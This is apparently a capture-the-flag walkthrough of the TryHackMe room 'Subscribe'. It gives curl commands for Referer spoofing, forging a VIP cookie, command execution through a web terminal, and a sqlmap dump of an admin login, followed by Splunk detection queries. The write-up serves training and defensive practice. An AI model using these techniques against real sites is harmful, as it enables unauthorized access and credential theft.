TryHackMe TryHack3M Subscribe Walkthrough

Original Bugflare writeup of TryHack3M: Subscribe. Medium. Hack3M locked registration behind an invite and left the crime scene in Splunk. Open the platform again, then prove the attack from the logs.

Invite codes, passwords, tokens, flags, and lab answers below are xxx. Pull the live values from your instance.

Lab prep

Hosts (or curl --resolve the whole run):

MACHINE_IP  hackme.thm capture3millionsubscribers.thm admin1337special.hackme.thm

| Port | What | |------|------| | 80 | Hack3M training site | | 40009 | Hidden admin panel | | 8000 | Splunk (Detection task) | | 8089 | Splunk mgmt (free license — remote auth disabled; use :8000) |

nmap -sC -sV -Pn MACHINE_IP

http://hackme.thm — signup is invite-only, login exists. That is Task 2's playground.

Task 2 — Exploitation

Invite code from the "special" hostname

/sign_up.php pulls /js/invite.js. Beautify it. Function e() is blunt:

Hostname capture3millionsubscribers.thm → POST inviteCode1337HM.php
Hostname hackme.thm → refuses
Anything else → trash talk

A hosts line alone is not enough for raw curl. The endpoint also wants a Referer from the signup page:

curl -s -X POST http://capture3millionsubscribers.thm/inviteCode1337HM.php \
  -H 'Referer: http://capture3millionsubscribers.thm/sign_up.php'

You get the invite string (redacted here as xxx). Submit it on signup. The form field is named password — the invite goes there, not a separate invite_code box:

curl -s -X POST http://hackme.thm/sign_up.php \
  --data-urlencode 'password=xxx'

Page drops guest creds:

guest@hackme.thm : xxx

Guest login, then the VIP cookie

Cookie: PHPSESSID=...; isVIP=true

VIP content opens (advanced_red_teaming.php). The "Start Machine" button still nags about VIP — ignore it. Profile image / iframe points at a fake terminal:

http://hackme.thm/BBF813FA941496FCE961EBA46D754FF3.php

Commands hit run_machine_hackme.php?command=. Allowed set is tiny: ls, cat, whoami, run.

curl -b 'PHPSESSID=...; isVIP=true' \
  'http://hackme.thm/run_machine_hackme.php' \
  --get --data-urlencode 'command=ls'

curl -b 'PHPSESSID=...; isVIP=true' \
  'http://hackme.thm/run_machine_hackme.php' \
  --get --data-urlencode 'command=cat config.php'

config.php hands you the admin gate:

$SECURE_TOKEN= "xxx";
$urlAdminPanel= "http://admin1337special.hackme.thm:40009";

Admin panel + JSON SQLi → open registration

http://admin1337special.hackme.thm:40009/ → /public/html/login.php.

First gate: Auth Code (authcode) — paste the token from config.php.

Second gate is username/password over JS:

fetch('../../api/login.php', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ username, password })
})

JSON body + SQLi. sqlmap:

sqlmap -u "http://admin1337special.hackme.thm:40009/api/login.php" \
  --data='{"username":"admin","password":"admin"}' \
  --header="Content-Type: application/json" \
  --cookie="PHPSESSID=..." \
  -p username --batch --dbms=mysql --dump

From hackme.users you get admin creds (redacted):

admin : xxx

regtype=reg → Sign up
regtype=invite → Invite Code (current lock)

curl -b 'PHPSESSID=...' -X POST \
  http://admin1337special.hackme.thm:40009/public/html/dashboard.php \
  --data-urlencode 'regtype=reg'

Hit http://hackme.thm/ again. Fireworks page, flag:

TryHack3M{xxx}

Task 2 answers (redacted)

| Question | Answer | |----------|--------| | Invite code | xxx | | guest password | xxx | | Secure token | xxx | | Flag | TryHack3M{xxx} |

Task 3 — Detection in Splunk

Room Splunk UI:

http://MACHINE_IP:8000
admin / xxx

Search app → time range All time. Free license locks remote API on :8089; the web UI is fine.

How many logs?

index=* | stats count

→ xxx (count it on your instance)

Attacker tool?

index=* | top user_agent

Standing out among browser junk: a sqlmap/... UA. Answer: sqlmap.

Events related to the attack?

index=* user_agent="*sqlmap*" | stats count

→ xxx

Attacker IP?

index=* | top source_ip

Top talker — and the only IP behind that sqlmap UA. Confirm:

index=* user_agent="*sqlmap*" | top source_ip

→ xxx.xxx.xxx.xxx

Events from that IP?

index=* source_ip="xxx.xxx.xxx.xxx" | stats count

→ xxx (sqlmap hits plus a few other probes from the same host)

Table used in the attack?

index=* "*TryHack3M_users*"

Or page through sqlmap events and read injected SQL in _raw.

→ TryHack3M_users

Task 3 answers (redacted where lab-specific)

| Question | Answer | |----------|--------| | Logs ingested | xxx | | Tool | sqlmap | | Attack events | xxx | | Attacker IP | xxx.xxx.xxx.xxx | | Events from attacker IP | xxx | | Table | TryHack3M_users |

Gotchas that ate my time

Invite POST wants Host and Referer. Plain POST → 405 Invalid request method. Cookies stick to hostnames — hitting the raw IP with a Host: header will not send hackme.thm cookies unless you --resolve or fix the jar. VIP UI lies: isVIP=true plus the terminal URL is enough; you never need to "start" a machine. Admin login is JSON to /api/login.php, not a classic form POST to login.php.

Whole loop: steal the invite the way the frontend intended, walk VIP → token → SQLi admin, flip registration, then prove the same attack class in Splunk.